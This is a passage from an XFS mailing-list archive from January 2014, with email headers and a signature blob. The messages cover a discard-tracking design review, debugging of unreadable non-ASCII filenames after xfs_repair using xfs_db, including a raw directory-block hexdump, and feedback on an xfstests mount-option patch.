W+mLAXrIV1LMnjlCNzH5wYiM2Ljoea7nBFL3rSs3N1eMau4PhsCVaD2AH+oNNuMK5mAvdlHMC6SU iifrsFjHJUeI79FGhx+ktHKAZcKUfalcU4FKo2Tph4ypYaQn75690YvfcQpp7KyMIGf7rUm7dA+A LiHDsAb947E/fgdTEb/rsDwxggRmMIIEYgIBATCBkTCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgM Cldhc2hpbmd0b24xEDAOBgNVBAcMB1NlYXR0bGUxHDAaBgNVBAoME1phY2hhcnkgUC4gS290bGFy ZWsxFTATBgNVBAMMDHViZXJ6YWNoLmNvbTEgMB4GCSqGSIb3DQEJARYRemFjaEBrb3RsYXJlay5j b20CAQEwCQYFKw4DAhoFAKCCAakwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0B CQUxDxcNMTQwMTEzMDIzNjA0WjAjBgkqhkiG9w0BCQQxFgQUfKfhI8o3gO/qFgum41Lr+Lnh0x0w gaIGCSsGAQQBgjcQBDGBlDCBkTCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgMCldhc2hpbmd0b24x EDAOBgNVBAcMB1NlYXR0bGUxHDAaBgNVBAoME1phY2hhcnkgUC4gS290bGFyZWsxFTATBgNVBAMM DHViZXJ6YWNoLmNvbTEgMB4GCSqGSIb3DQEJARYRemFjaEBrb3RsYXJlay5jb20CAQEwgaQGCyqG SIb3DQEJEAILMYGUoIGRMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4G A1UEBwwHU2VhdHRsZTEcMBoGA1UECgwTWmFjaGFyeSBQLiBLb3RsYXJlazEVMBMGA1UEAwwMdWJl cnphY2guY29tMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxhcmVrLmNvbQIBATANBgkqhkiG9w0B AQEFAASCAgCa+GZ8OIx//MuFZZvsNFIJNP+bCmdtdj3KasGobJI297dU0vMdFQym4SCLes5Aj5W5 JWG3qX+AoAjmSgYyESZTy2MluwMYuAru0RkiiBYVTffkdbDkZFWjhHQvPonlheE6mMEM6e+HW5Z5 GopfOG09YluAXi6Sbtg13/tuDDj+xWmWrTERl58kf9IQpgopEn4us89qOKEUAeaYrVuzrHAdfrlJ bkP/Of6a2l8Omjsm5eaMDf2ycEJC26EdjQoXmdjXmAlsNxV/Ry2vZUbeL73BpiFv8frBOCp9L2PO oUv+CJ0C/bKriDDX3pE3DtqWIbrjWlojsXRZIFixIULf89upUYVNm1Q7zwbioMPCc5n2AKzhSXPc 1eYaM7bGyd+I01/d/TC1C5cMGu1k74w4XJKoFYbkA+D2xhcUzJYr+g5cFhNl9XBtxAJ6++TToX2n W8tm4IkIpY1y6XpohqQajkaCQ0mKP6qjp/MsWVspTYSv6VWevhUgG7Xgib8IeyqjF1Q49hqSEsvx fGsu3LJtk6WzuSa7rkCxeeQMZWJE0pQn4dAn+bZY7xqPOawCf46fFFPv3QhxBIjf4AW5I0kftOYH rz6llZI7PWYCLJYAghRoRWcv75BTijAoh81iCgjBACaeHVjUcwZJgygKF4qsard9zoL0iyx0IZTr 2UTLEen9yAAAAAAAAA== --Apple-Mail=_66F37279-2053-4319-AC27-5F705B2599B9-- From david@fromorbit.com Sun Jan 12 21:02:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1934929DF8 for ; Sun, 12 Jan 2014 21:02:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D85D38F804B for ; Sun, 12 Jan 2014 19:02:36 -0800 (PST) X-ASG-Debug-ID: 1389582154-04cb6c537dd6c7a0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Fa0mTGXXdwvzjwrg for ; Sun, 12 Jan 2014 19:02:34 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AskJALpW01J5LKVw/2dsb2JhbABSCIMLgzqxaYVTgQgXdIIlAQEBAwEnExwcBwULCAMYCSUPBSUDIROHfAeoRptvFxaOG1YHgySBEwEDlDODY4pMh0qDQSg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail05.adl6.internode.on.net with ESMTP; 13 Jan 2014 13:32:33 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W2XnK-0001NY-Gz; Mon, 13 Jan 2014 14:02:30 +1100 Date: Mon, 13 Jan 2014 14:02:30 +1100 From: Dave Chinner To: Alex Lyakas Cc: xfs@oss.sgi.com Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) Message-ID: <20140113030230.GF3469@dastard> X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) References: <20131218230615.GQ31386@dastard> <78FC295EC7FF48C987266DC48B183930@alyakaslap> <20131219105513.GZ31386@dastard> <8155F3F9D6094F40B4DA71BD561D2DE8@alyakaslap> <20131226230018.GJ20579@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1389582154 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144025 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jan 08, 2014 at 08:13:38PM +0200, Alex Lyakas wrote: > Hello Dave, > > Currently I am working on the following approach: > > Basic idea: make each xfs_extent_busy struct carry potential > information about a larger extent-for-discard, i.e., one that is a > multiple of discard_granularity. You're making a big assumption here that discard_granularity is useful for aggregating large extents. Discard granularity on modern SSDs is a single sector: $ cat /sys/block/sda/queue/discard_granularity 512 $ I've just checked 4 different types of SSDs I have here (from 3 years old no-name sandforce SSDs to a brand new samsung 840 EVO), and htey all give the same result. IOWs, in most cases other than thin provisioning it will not be useful for optimising discards into larger, aligned extents. > In detail this looks like this: > # xfs_free_ag_extent attempts to merge the freed extent into a > larger free-extent in the by-bno btree. When this function > completes its work, we have [nbno, nlen], which is potentially a > larger free-extent. At this point we also know that AGF is locked. > # We trim [nbno, nlen] to be a multiple-of and aligned-by > discard_granularity (if possible), and we receive [dbno, dlen], > which is a very nice extent to discard. > # When calling xfs_extent_busy_insert(), we add these two values to > the xfs_extent_busy struct. > # When the extent-free operation is committed for this busy extent, > we know that we can discard this [dbno, dlen] area, unless somebody > have allocated an extent, which overlaps this area. This strikes me as optimisation at the wrong time i.e. optimising discard ranges at extent free time ignores the fact that the extent can be immediately reallocated, and so all the optimisation work is wasted. > To address that, at the end of xfs_alloc_fixup_trees() we do the following: > # We know that we are going to allocate [rbno, rlen] from > appropriate AG. So at this point, we search the busy extents tree to > check if there is a busy extent that holds [dbno, dlen] (this is a > multiple-of and aligned-by discard granularity), which overlaps How do you find that? The busy extent tree is indexed on individual extents that have been freed, not the discard granularity ranges they track. > [rbno, rlen] fully or partially. If found, we shrink the [dbno, > dlen] area to be still a multiple-of and aligned by > discard-granularity, if possible. So we have a new smaller [dbno, > dlen] that we still can discard, attached to the same busy extent. > Or we discover that the new area is too small to discard, so we > forget about it. Forget about the discard range, right? We can't ignore the busy extent that covers the range being freed - it must be tracked all the way through to transaction commit completion. > # The allocation flow anyways searches the busy extents tree, so we > should be ok WRT to locking order, but adding some extra work. There are other locking issues to be concerned about than order.... > I am aware that I need to handle additional issues like: > # A busy extent can be "unbusyied" or shrunk by > xfs_extent_busy_update_extent(). We need to update [dbno, dlen] > accordingly or delete it fully > # To be able to search for [dbno, dlen], we probably need another > rbtree (under the same pag->pagb_lock), which tracks large extents > for discard. xfs_extent_busy needs additional rbnode. > # If during xfs_alloc_fixup_trees() we discover that extent is > already being discarded, we need to wait. Assuming we have > asynchronous discard, this wait will be short - we only need the > block device to queue the discard request, and then we are good to > allocate from that area again. * multiple busy extents can be found in the one "discard range". Hence there is a n:1 relationship between the busy extents and the related "discard extent" that might be related to it. Hence if we end up with: busy1 busy2 busy3 +-------+-------+------+ +----------------------+ discard1 and then we reuse busy2, then we have to delete discard1 and update busy1 and busy3 not to point at discard1. Indeed, depending on the discard granularity, it might ned up: busy1 busy3 +-------+ +------+ +-------+ +------+ discard1 discard2 And so the act of having to track optimal "discard ranges" becomes very, very complex. I really don't see any advantage in tracking discard ranges like this, because we can do these optimisations of merging and trimming just before issuing the discards. And realistically, merging and trimming is something the block layer should be doing for us already. > > One thing I am unsure about, is a scenario like this: > # assume discard-granularity=1MB > # we have a 1MB almost free, except two 4K blocks, somewhere in the > free space > # Transaction t1 comes and frees 4K block A, but the 1MB extent is > not fully free yet, so nothing to discard > # Transaction t2 frees the second 4K block B, now 1MB is free and we > attach a [dbno, dlen] to the second busy extent > > However, I think there is no guarantee that t1 will commit before > t2; is that right? Correct. > But we cannot discard the 1MB extent, before both > transactions commit. (One approach to solve this, is to give a > sequence number for each xfs_extent_busy extent, and have a > background thread that does delayed discards, once all needed busy > extents are committed. The delayed discards are also considered in > the check that xfs_alloc_fixup_trees() does). We used to have a log sequence number in the busy extent to prevent reuse of a busy extent - it would trigger a log force up to the given LSN before allowing the extent to be reused. It caused significant scalability problems for the busy extent tracking code, and so it was removed and replaced with the non-blocking searches we do now. See: ed3b4d6 xfs: Improve scalability of busy extent tracking e26f050 xfs: do not immediately reuse busy extent ranges 97d3ac7 xfs: exact busy extent tracking i.e. blocking waiting for discard or log IO completion while holding the AGF locked is a major problem for allocation latency determinism. With discards potentially taking seconds, waiting for them to complete while holding the AGF locked will effectively stall parts of the filesystem for long periods of time. That blocking is what the above commits prevent, and by doing this allow us to use the busy extent tree for issuing discard on ranges that have been freed.... > What do you think overall about this approach? Is there something > fundamental that prevents it from working? I'm not convinced that re-introducing busy extent commit sequence tracking and blocking to optimise discard operations is a particularly good idea given the above. > Also (if you are still reading:), can you kindly comment this > question that I have: > # xfs_free_ag_extent() has a "isfl" parameter. If it is "true", then > this extent is added as usual to the free-space btrees, but the > caller doesn't add it as a busy extent. This means that such extent > is suitable for allocation right away, without waiting for the log > commit? It means the extent is being moved from the AGFL to the free space btree. blocks on the AGFL have already gone through free space accounting and busy extent tracking to get to the AGFL, and so there is no need to repeat it when moving it to the free space btrees. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jan 12 21:19:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9E46C29DF8 for ; Sun, 12 Jan 2014 21:19:58 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2143DAC001 for ; Sun, 12 Jan 2014 19:19:54 -0800 (PST) X-ASG-Debug-ID: 1389583191-04cbb04169d741a0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id eBEKds5uJ860yJEq for ; Sun, 12 Jan 2014 19:19:52 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswJAERa01J5LKVw/2dsb2JhbABTB4MLgzpSsReFU4EHF3SCJQEBAQMBIw8BIyMFCwgDDgoCAgUhAgIPBSUDIROHfAepWJpcFxaBE40WSAeCb4FIBJgWikyHSoNBKIEsIw Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail05.adl6.internode.on.net with ESMTP; 13 Jan 2014 13:49:50 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W2Y43-0001PU-Qf; Mon, 13 Jan 2014 14:19:47 +1100 Date: Mon, 13 Jan 2014 14:19:47 +1100 From: Dave Chinner To: Zachary Kotlarek Cc: xfs@oss.sgi.com Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Message-ID: <20140113031947.GG3469@dastard> X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair References: <52D2E358.6070106@hardwarefreak.com> <20140113015007.GC3469@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1389583191 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144026 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Jan 12, 2014 at 06:36:03PM -0800, Zachary Kotlarek wrote: > > On Jan 12, 2014, at 5:50 PM, Dave Chinner > wrote: > > >> Attempts to access the now-busted files/directories with > >> accents in their paths result in a kernel log like: Jan 11 > >> 02:05:39 vera XFS (dm-31): I/O error occurred: meta-data dev > >> dm-31 block 0x3c8ff73e0 ("xfs_trans_read_buf") error 11 > >> buf count 4096 > > > > error 11 = EAGAIN/EWOULDBLOCK > > > > That tends to imply that there's some interesting error > > occurring in the layers below XFS here. > > > The error you note only started showing up *after* the xfs_repair, > and only when attempting to access the non-ascii file paths. It Sure, but it's an error coming from the block layer, not from decoding the contents of the block at the directory layer. IOWs, xfs-repair wrote new contents to those blocks, and now the kernel cannot read them from disk. > doesn’t take the filesystem offline; other than those > particular paths being inaccessible the filesystem seems to be > working correctly (though I’ve suspended user writes until > this is worked out). Right - it's a read error, not a write error, so it simply returns the error to the reader. However, if that read error occurs in the context of a transaction that has already made modifications (e.g. adding a new file to the directory) it will result in a shutdown of the filesystem. > The affected paths are all around the disk, > all contain non-ascii characters in final portion of the path > name, and do not affect other paths in the same directory. > > I can find a newer kernel to boot off and see how it behaves if > you think it would make any difference, but I’m pretty sure > xfs_repair re-wrote the affected directory entries and broke them > as opposed to some sort of block-layer corruption being > responsible for breaking only these files. Try using xfs_db to read and parse the blocks that the fielsystem is choking on. If it can't read them from xfs_db, then there's something gone wrong below XFS. If you can read them, use xfs_db to parse the block as a directory block and see what the raw directory entries are the block contains.... e.g. # xfs_db xfs_db> convert daddr 0x3c8ff73e0 fsb xfs_db> fsb xfs_db> p xfs_db> type dir2 xfs_db> p The decoded output should look something like: xfs_db> p dhdr.hdr.magic = 0x58444433 dhdr.hdr.crc = 0xc77dda8e (correct) dhdr.hdr.bno = 1308 dhdr.hdr.lsn = 0xe60000aa35 dhdr.hdr.uuid = d2d0bec5-c8b8-420e-8a34-d981be7eece6 dhdr.hdr.owner = 32 dhdr.bestfree[0].offset = 0xa0 dhdr.bestfree[0].length = 0x10 dhdr.bestfree[1].offset = 0x4f8 dhdr.bestfree[1].length = 0x10 dhdr.bestfree[2].offset = 0x850 dhdr.bestfree[2].length = 0x10 du[0].inumber = 32 du[0].namelen = 1 du[0].name = "." du[0].filetype = 2 du[0].tag = 0x40 du[1].inumber = 32 du[1].namelen = 2 du[1].name = ".." du[1].filetype = 2 du[1].tag = 0x50 du[2].inumber = 393552 du[2].namelen = 3 du[2].name = "tmp" du[2].filetype = 2 du[2].tag = 0x60 du[3].inumber = 36 du[3].namelen = 11 du[3].name = "syscalltest" du[3].filetype = 1 du[3].tag = 0x70 du[4].inumber = 37 du[4].namelen = 8 du[4].name = "fsstress" du[4].filetype = 2 du[4].tag = 0x88 if you do get the output like this, can you post both the hexdump and the decoded output from xfs_db? Hmmmm - you're not using LVM snapshots or anything like that are you? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jan 12 21:26:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 12ABD29DF8 for ; Sun, 12 Jan 2014 21:26:57 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9468AAC001 for ; Sun, 12 Jan 2014 19:26:56 -0800 (PST) X-ASG-Debug-ID: 1389583614-04bdf00fe2678260001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ucosnXGJ6rVWBHb3 for ; Sun, 12 Jan 2014 19:26:54 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsgJAJhc01J5LKVw/2dsb2JhbABagwuDOrFphVOBBxd0giUBAQEDATocIwULCAMYCSUPBSUDIROHfAfEMBcWjhlYB4Q3BJgWkhaDQSiBLAIeBg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail05.adl6.internode.on.net with ESMTP; 13 Jan 2014 13:56:53 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W2YAs-0001QG-LW; Mon, 13 Jan 2014 14:26:50 +1100 Date: Mon, 13 Jan 2014 14:26:50 +1100 From: Dave Chinner To: Qu Wenruo Cc: Eric Sandeen , xfs@oss.sgi.com, Eric Sandeen , linux-btrfs Subject: Re: [PATCH] xfstests: Add pairing mount options test Message-ID: <20140113032650.GH3469@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Add pairing mount options test References: <1389162648-19309-1-git-send-email-quwenruo@cn.fujitsu.com> <52D01CA9.4040107@sandeen.net> <52D33F92.2000609@cn.fujitsu.com> <52D342F0.5020402@sandeen.net> <20140113015239.GD3469@dastard> <52D34EBD.4020508@cn.fujitsu.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52D34EBD.4020508@cn.fujitsu.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1389583614 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144026 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 13, 2014 at 10:26:05AM +0800, Qu Wenruo wrote: > On mon, 13 Jan 2014 12:52:39 +1100, Dave Chinner wrote: > >On Sun, Jan 12, 2014 at 07:35:44PM -0600, Eric Sandeen wrote: > >>I won't say no to this, but it seems to be of somewhat limited use. > >What happens to the test when mount options are deprecated/removed? > >How are we going to handle the matrix of testable/untestable mount > >options across kernels with different mount option support? > In my opinion,there may be two ways to deal it: > 1) Introduce up_limit_kver and down_limit_kver to *every* mount option. > If needed also add deprecated flags. Both of which are messy, and kernel version number checks don't work with vendor kernels that have stuff back ported to them. > This method will introduce more effort tomaintain the test case, but > due to the small codes and > relativly less changes in mount options, I consider it as an > acceptable method. What you are saying is that such a test will require constant maintenance from upstream developers to keep working across all the kernels that btrfs supports. When combined with Eric's comments that it doesn't test the functionality and so has relatively little benefit in terms of improving code coverage, it doesn't paint a pretty picture. So from that point of view, I'd say no to such a test. > It would be quite nice if any one can provide any better idea. Write a test for each individual feature that exercises and validates that feature in some way. Part of a functional test would be to test that the mount options for that function do what they are intended to do. Eric suggested the same thing (though in a different way). Cheers, Dave. -- Dave Chinner david@fromorbit.com From zach@kotlarek.com Sun Jan 12 21:47:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7A5C329DF8 for ; Sun, 12 Jan 2014 21:47:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4E4748F804B for ; Sun, 12 Jan 2014 19:47:35 -0800 (PST) X-ASG-Debug-ID: 1389584853-04cbb04168d74f60001-NocioJ Received: from mail.uberzach.com (rondo.uberzach.com [64.22.125.169]) by cuda.sgi.com with ESMTP id oQc0AkdYHvsR2Jj4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 12 Jan 2014 19:47:33 -0800 (PST) X-Barracuda-Envelope-From: zach@kotlarek.com X-Barracuda-Apparent-Source-IP: 64.22.125.169 Received: from [172.19.7.2] (unknown [74.93.97.69]) (Authenticated sender: profplump) by mail.uberzach.com (Postfix) with ESMTPSA id 95E4A5802B for ; Sun, 12 Jan 2014 19:47:30 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=kotlarek.com; s=default; t=1389584852; bh=CZq70ekJm07MRdN6VShWtAg1Jrhs00gqomjoCsKQqfI=; h=From:Content-Type:Message-Id:Mime-Version:Subject:Date:References: To:In-Reply-To; b=T0oKcEHqXAN9lyYCEuSf7XLMTKmGE8qbgaNUznHGBqVWSEn4lTtzyksuHmpyUBK7w vT6saLYMEIIZBht/hlqkJLU0t9K+DWFt5EYHpWZpl1yKITPa3+W4IhZSeG/EtNCTBS 7KkEEmTOwzMzZ5eZu9W2f1odVsW9E9nVFAchVTlI= From: Zachary Kotlarek Content-Type: multipart/signed; boundary="Apple-Mail=_7F6F628A-FC7C-40C5-9BA6-0D1497A6BAC4"; protocol="application/pkcs7-signature"; micalg=sha1 Message-Id: Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Date: Sun, 12 Jan 2014 19:47:29 -0800 X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair References: <52D2E358.6070106@hardwarefreak.com> <20140113015007.GC3469@dastard> <20140113031947.GG3469@dastard> To: xfs@oss.sgi.com In-Reply-To: <20140113031947.GG3469@dastard> X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: rondo.uberzach.com[64.22.125.169] X-Barracuda-Start-Time: 1389584853 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144026 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature --Apple-Mail=_7F6F628A-FC7C-40C5-9BA6-0D1497A6BAC4 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On Jan 12, 2014, at 7:19 PM, Dave Chinner wrote: > IOWs, xfs-repair wrote new contents to those blocks, and now the = kernel > cannot read them from disk. Sure, but I don=92t understand why it would have re-written them in the = first place. I know corruption happens, but this seems awfully = pattern-tastic to be random errors. > Try using xfs_db to read and parse the blocks that the fielsystem is > choking on. If it can't read them from xfs_db, then there's > something gone wrong below XFS. If you can read them, use xfs_db to > parse the block as a directory block and see what the raw directory > entries are the block contains.... >=20 > e.g. > # xfs_db > xfs_db> convert daddr 0x3c8ff73e0 fsb > > xfs_db> fsb > xfs_db> p > > xfs_db> type dir2 > xfs_db> p > Works. xfs_db> convert daddr 0x3c8ff73e0 fsb 0x8007f67c (2148005500) xfs_db> fsb 0x8007f67c xfs_db> p 000: 58443242 075007d0 04600038 00b00030 00000008 007f681a 012ed556 = 11060010 020: 0000000c 80000800 022e2efe 68440020 ffff0020 007f6839 112e2e44 = 535f5374 040: 6f72652e 6b594c6b 4b32537a 78410030 00000008 007f6839 092e4453 = 5f53746f 060: 726597db 77f50050 ffff0028 007f683a 182e3031 202d2043 69747920 = 6f662e6d 080: 34762e42 3269704c 3888dfd6 05e80068 00000008 007f683a 10303120 = 2d204369 0a0: 7479206f 662e6d34 769f1dff 1b260090 ffff0030 007f683b 1e2e3032 = 202d204c 0c0: 6f6e656c 79204865 61727473 2e6d3476 2e61454e 59786913 1d7bf8ce = 8c6200b0 0e0: 00000008 007f683b 16303220 2d204c6f 6e656c79 20486561 7274732e = 6d34764a 100: 5eadac34 2b5d00e0 ffff0028 007f683c 1c2e3033 202d2049 6e207468 = 65204461 120: 726b2e6d 34762e7a 4b726254 72b50108 00000008 007f683c 14303320 = 2d20496e 140: 20746865 20446172 6b2e6d34 767b0130 ffff0030 007f683d 212e3034 = 202d2049 160: 2046616c 6c20746f 20506965 6365732e 6d34762e 6f735975 497aeb65 = c2bb0150 180: 00000008 007f683d 19303420 2d204920 46616c6c 20746f20 50696563 = 65732e6d 1a0: 3476990e 3e560180 ffff0030 007f683e 1f2e3035 202d2052 6f6f6d20 = 77697468 1c0: 20612056 752e6d34 762e5478 72794b72 60a2e009 eef101a8 00000008 = 007f683e 1e0: 17303520 2d20526f 6f6d2077 69746820 61205675 2e6d3476 b883247d = 552901d8 200: ffff0030 007f683f 242e3036 202d2053 656e7365 20262053 656e7369 = 74697669 220: 74792e6d 34762e65 6776556e 77550200 00000008 007f683f 1c303620 = 2d205365 240: 6e736520 26205365 6e736974 69766974 792e6d34 762b0230 ffff0030 = 0129b800 260: 1f2e3037 202d2042 61636865 6c6f7220 50617274 792e6d34 762e6632 = 4e477851 280: 7d4c7797 3f600258 00000008 0129b800 17303720 2d204261 6368656c = 6f722050 2a0: 61727479 2e6d3476 4a911d34 eca00288 ffff0030 0129b801 242e3038 = 202d2049 2c0: 2057696c 6c205265 6d656d62 65722059 6f752e6d 34762e49 43687344 = 6ad002b0 2e0: 00000008 0129b801 1c303820 2d204920 57696c6c 2052656d 656d6265 = 7220596f 300: 752e6d34 76e902e0 ffff0020 0129b802 152e3039 202d2048 65726f2e = 6d34762e 320: 58467063 36790308 00000008 0129b802 0d303920 2d204865 726f2e6d = 34760328 340: ffff0030 0129b803 1e2e3130 202d2050 61727469 6e672047 69667473 = 2e6d3476 360: 2e794156 30534584 1783a6af dd270340 00000008 0129b803 16313020 = 2d205061 380: 7274696e 67204769 6674732e 6d347687 27f22157 cbc00370 ffff0028 = 0129b804 3a0: 1d2e3131 202d2053 6f6d6e61 6d62756c 6973742e 6d34762e 444d365a = 6b760398 3c0: 00000008 0129b804 15313120 2d20536f 6d6e616d 62756c69 73742e6d = 347603c0 3e0: ffff0028 0129b805 1a2e3132 202d2045 78706563 74696e67 2e6d3476 = 2e494b66 400: 6b3067c1 901903e0 00000008 0129b805 12313220 2d204578 70656374 = 696e672e 420: 6d3476db 2c390408 ffff0020 0129b806 142e3133 202d2053 68652e6d = 34762e6a 440: 4c553742 50d30428 00000008 0129b806 0c313320 2d205368 652e6d34 = 76e10448 460: ffff0038 0129b807 2b2e3134 202d2049 27766520 476f7420 596f7520 = 556e6465 480: 72204d79 20536b69 6e2e6d34 762e4d74 4a536e70 86e50460 00000008 = 0129b807 4a0: 23313420 2d204927 76652047 6f742059 6f752055 6e646572 204d7920 = 536b696e 4c0: 2e6d3476 9d510498 ffff0028 0129b808 1d2e3135 202d2054 68652050 = 726f6469 4e0: 67616c2e 6d34762e 4879314f 704c04c8 00000008 0129b808 15313520 = 2d205468 500: 65205072 6f646967 616c2e6d 347604f0 ffff0028 0129b809 192e3136 = 202d2054 520: 68652052 696e672e 6d34762e 43764467 375aa0d3 c99e0510 00000008 = 0129b809 540: 11313620 2d205468 65205269 6e672e6d 3476181c 